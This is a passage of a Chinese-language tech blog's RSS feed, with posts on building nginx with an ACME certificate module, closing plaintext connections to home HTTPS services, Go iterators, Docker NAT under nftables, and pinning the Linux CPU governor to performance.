&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-stream_realip_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-stream_ssl_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-stream_ssl_preread_module &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-cc-opt&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;-g -O2 -ffile-prefix-map=/home/builder/debuild/nginx-1.28.0/debian/debuild-base/nginx-1.28.0=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC&amp;#39;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --with-ld-opt&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie&amp;#39;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --add-dynamic-module&lt;span style="color:#f92672">=&lt;/span>/app/nginx-build/nginx-acme
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> make modules &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> make install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 运行配置脚本，这里的关键是 --add-dynamic-module&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 注意：您需要在这里包含您当前 NGINX 已有的所有编译参数，可以通过 nginx -V 查看&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 编译模块，注意是 make modules 而不是 make install&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="config">config&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># /app/nginx/conf/nginx.conf
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">user&lt;/span> &lt;span style="color:#e6db74">nginx&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">error_log&lt;/span> &lt;span style="color:#e6db74">error.log&lt;/span> &lt;span style="color:#e6db74">debug&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">pid&lt;/span> &lt;span style="color:#e6db74">nginx.pid&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">load_module&lt;/span> &lt;span style="color:#e6db74">modules/ngx_http_acme_module.so&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">events&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">worker_connections&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">multi_accept&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">http&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">include&lt;/span> &lt;span style="color:#e6db74">mime.types&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">default_type&lt;/span> &lt;span style="color:#e6db74">application/octet-stream&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">log_format&lt;/span> &lt;span style="color:#e6db74">main&lt;/span> &lt;span style="color:#e6db74">&amp;#39;&lt;/span>$remote_addr &lt;span style="color:#e6db74">-&lt;/span> $remote_user &lt;span style="color:#e6db74">[&lt;/span>$time_local] &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$host&amp;#34; &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$request&amp;#34; &lt;span style="color:#e6db74">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#39;&lt;/span>$status $body_bytes_sent &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$http_referer&amp;#34; &lt;span style="color:#e6db74">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>$http_user_agent&amp;#34; &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$http_x_forwarded_for&amp;#34;&amp;#39;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">access_log&lt;/span> &lt;span style="color:#e6db74">access.log&lt;/span> &lt;span style="color:#e6db74">main&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">sendfile&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tcp_nopush&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">charset&lt;/span> &lt;span style="color:#e6db74">utf-8&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">keepalive_timeout&lt;/span> &lt;span style="color:#ae81ff">65&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gzip&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">resolver&lt;/span> 8.8.8.8 1.1.1.1;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 定义一个名为 letsencrypt 的 ACME 颁发机构实例
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">acme_issuer&lt;/span> &lt;span style="color:#e6db74">letsencrypt&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 指定 ACME 服务提供商的目录 URL，这里是 Let&amp;#39;s Encrypt 的生产环境
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">uri&lt;/span> &lt;span style="color:#e6db74">https://acme-v02.api.letsencrypt.org/directory&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 提供一个联系邮箱，用于接收 CA 的重要通知（如证书即将过期）
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">contact&lt;/span> &lt;span style="color:#e6db74">mailto:security-alerts@aidig.co&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 指定状态文件的存储路径，用于保存 ACME 账户密钥，非常重要
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">state_path&lt;/span> &lt;span style="color:#e6db74">acme/letsencrypt&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 同意服务条款，对于 Let&amp;#39;s Encrypt 等 CA 这是必需的步骤
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">accept_terms_of_service&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 可选指令 acme_shared_zone，用于存储所有配置的证书颁发者的证书、私钥和挑战数据。该区域默认大小为 256K，可根据需要增加
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">acme_shared_zone&lt;/span> &lt;span style="color:#e6db74">zone=acme_shared:1M&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">443&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">ssl.aidig.co&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 步骤一：声明此 server 块启用 ACME，并指定使用上面定义的 letsencrypt 颁发机构
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">acme_certificate&lt;/span> &lt;span style="color:#e6db74">letsencrypt&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 步骤二：使用动态变量加载由 ACME 模块在内存中管理的证书和私钥
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">ssl_certificate&lt;/span> $acme_certificate;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate_key&lt;/span> $acme_certificate_key;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate_cache&lt;/span> &lt;span style="color:#e6db74">max=2&lt;/span>; &lt;span style="color:#75715e"># required ngx 1.27.4+
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">default_type&lt;/span> &lt;span style="color:#e6db74">text/plain&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">200&lt;/span> &lt;span style="color:#e6db74">&amp;#39;OK&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span> &lt;span style="color:#e6db74">default_server&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">_&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># ACME 模块会自动处理 /.well-known/acme-challenge/ 的请求，此 location 用于处理所有其他请求
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">301&lt;/span> &lt;span style="color:#e6db74">https://&lt;/span>$host$request_uri;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>降低家用 Web 服務被通報的機率</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251002-hide-web/</link><pubDate>Thu, 02 Oct 2025 09:54:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251002-hide-web/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://tao.zz.ac/homelab/hide-web.html" target="_blank" rel="noopener">降低家用 Web 服務被通報的機率&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>透過明文協議嘗試請求 HTTPS 服務時，Nginx 會回傳特殊的 497 狀態碼。若發生此錯誤，我們希望 Nginx 直接關閉連線，不回傳任何回應。這需要另一個非標準狀態碼 444。綜合兩種狀態碼，我們需要在 server 中加入如下設定：&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">error_page&lt;/span> &lt;span style="color:#ae81ff">497&lt;/span> &lt;span style="color:#e6db74">@close&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">@close&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">444&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用 error_page 指令為 497 狀態碼設定虛擬路徑 @close，Nginx 在處理 @close 時發現要回傳 444，於是直接關閉連線。&lt;/p>
&lt;p>此時你再用 curl 造訪對應埠口會看到如下錯誤：&lt;/p>
&lt;p>curl &lt;a href="http://example.zz.ac:5678" target="_blank" rel="noopener">http://example.zz.ac:5678&lt;/a>
curl: (52) Empty reply from server&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">5678&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#e6db74">[::]:5678&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">example.zz.ac&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate&lt;/span> &lt;span style="color:#e6db74">...&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate_key&lt;/span> &lt;span style="color:#e6db74">..&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">error_page&lt;/span> &lt;span style="color:#ae81ff">497&lt;/span> &lt;span style="color:#e6db74">@close&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">@close&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">444&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">5678&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span> &lt;span style="color:#e6db74">default_server&lt;/span>;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#e6db74">[::]:5678&lt;/span> &lt;span style="color:#e6db74">ssl&lt;/span> &lt;span style="color:#e6db74">default_server&lt;/span>;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">_&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate&lt;/span> &lt;span style="color:#e6db74">...&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ssl_certificate_key&lt;/span> &lt;span style="color:#e6db74">..&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">444&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Privacy Badger：EFF 推出的免費瀏覽器擴充套件，用來阻止網路監控追蹤</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250929-eff-browser-extension/</link><pubDate>Mon, 29 Sep 2025 16:41:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250929-eff-browser-extension/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://privacybadger.org/" target="_blank" rel="noopener">Privacy Badger：EFF 推出的免費瀏覽器擴充套件，用來阻止網路監控追蹤&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>用 Golang 從零打造容器（Liz Rice）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250910-containers-from-scratch-by-golang-feat-liz-rice/</link><pubDate>Wed, 10 Sep 2025 09:50:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250910-containers-from-scratch-by-golang-feat-liz-rice/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://baconyao.notion.site/Containers-From-Scratch-by-Golang-feat-Liz-Rice-2638a3a7d9d48053ae1dce0763fb52e8" target="_blank" rel="noopener">用 Golang 從零打造容器（Liz Rice）&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/baconYao/container-from-scratch-golang" target="_blank" rel="noopener">container-from-scratch-golang&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>隨著我們擴充這個小程式的功能，會依序探索以下主題，讓我們建立一個非正式環境的容器模擬。&lt;/p>
&lt;ol>
&lt;li>UTS Namespace&lt;/li>
&lt;li>Chroot&lt;/li>
&lt;li>PID Namespace&lt;/li>
&lt;li>Mount Namespace&lt;/li>
&lt;li>Control Group&lt;/li>
&lt;li>Rootless Container&lt;/li>
&lt;/ol></description></item><item><title>淺談 Go Iterator</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250906-golang-iterator/</link><pubDate>Sat, 06 Sep 2025 21:30:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250906-golang-iterator/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ganhua.wang/go-iterator" target="_blank" rel="noopener">淺談 Go Iterator&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">Seq&lt;/span>[&lt;span style="color:#a6e22e">V&lt;/span> &lt;span style="color:#66d9ef">any&lt;/span>] &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">yield&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">V&lt;/span>) &lt;span style="color:#66d9ef">bool&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">Seq2&lt;/span>[&lt;span style="color:#a6e22e">K&lt;/span>, &lt;span style="color:#a6e22e">V&lt;/span> &lt;span style="color:#66d9ef">any&lt;/span>] &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">yield&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">K&lt;/span>, &lt;span style="color:#a6e22e">V&lt;/span>) &lt;span style="color:#66d9ef">bool&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Docker 容器無法存取外網？nftables 下的 NAT 配置指南</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250903-linux-docker-nftables/</link><pubDate>Wed, 03 Sep 2025 09:03:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250903-linux-docker-nftables/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.ibytebox.com/archives/docker-rong-qi-wu-fa-fang-wen-wai-wang-nftables-xia-de-nat-pei-zhi-zhi-nan" target="_blank" rel="noopener">Docker 容器無法存取外網？nftables 下的 NAT 配置指南&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>獨立伺服器 CPU 頻率最大化配置指南</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250902-linux-cpu-performance/</link><pubDate>Tue, 02 Sep 2025 08:24:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250902-linux-cpu-performance/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.ibytebox.com/archives/02cf4c4a-0af7-43f1-bb65-ccdb54a52306" target="_blank" rel="noopener">獨立伺服器 CPU 頻率最大化配置指南&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="看看-cpu-現在用哪種模式">看看 CPU 現在用哪種模式&lt;/h2>
&lt;p>前提條件
系統：Linux（Debian、Ubuntu、Proxmox 等都行）&lt;/p>
&lt;p>權限：root&lt;/p>
&lt;p>CPU：支援動態調頻（Intel Xeon、AMD EPYC / Ryzen 等）&lt;/p>
&lt;h3 id="governor">governor&lt;/h3>
&lt;p>&lt;code>cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor&lt;/code>&lt;/p>
&lt;ul>
&lt;li>powersave：省電小綿羊（頻率鎖低，省電但沒力）&lt;/li>
&lt;li>ondemand：按需加速（要用時才升頻，可能反應慢半拍）&lt;/li>
&lt;li>performance：全程高能（我們要的就是它！💪）&lt;/li>
&lt;/ul>
&lt;h3 id="確認核心到底用哪種驅動intel--amd">確認核心到底用哪種驅動（Intel / AMD）&lt;/h3>
&lt;p>&lt;code>cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver&lt;/code>&lt;/p>
&lt;h2 id="暫時拉滿效能">暫時拉滿效能&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> cpu in /sys/devices/system/cpu/cpu&lt;span style="color:#f92672">[&lt;/span>0-9&lt;span style="color:#f92672">]&lt;/span>*; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo performance &amp;gt; $cpu/cpufreq/scaling_governor
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="重啟後也保持高能">重啟後也保持高能&lt;/h2>
&lt;h3 id="方案-a最穩妥推薦">方案 A：最穩妥推薦&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>apt install cpufrequtils -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#39;GOVERNOR=&amp;#34;performance&amp;#34;&amp;#39;&lt;/span> &amp;gt;/etc/default/cpufrequtils
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>systemctl enable cpufrequtils
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>systemctl start cpufrequtils
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="方案-bsystemd-自訂服務">方案 B：systemd 自訂服務&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># /etc/systemd/system/cpu-performance.service&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Unit&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Description&lt;span style="color:#f92672">=&lt;/span>Set CPU governor to performance
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>After&lt;span style="color:#f92672">=&lt;/span>multi-user.target
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Service&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Type&lt;span style="color:#f92672">=&lt;/span>oneshot
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ExecStart&lt;span style="color:#f92672">=&lt;/span>/bin/bash -c &lt;span style="color:#e6db74">&amp;#39;for cpu in /sys/devices/system/cpu/cpu[0-9]*; do echo performance &amp;gt; $cpu/cpufreq/scaling_governor; done&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
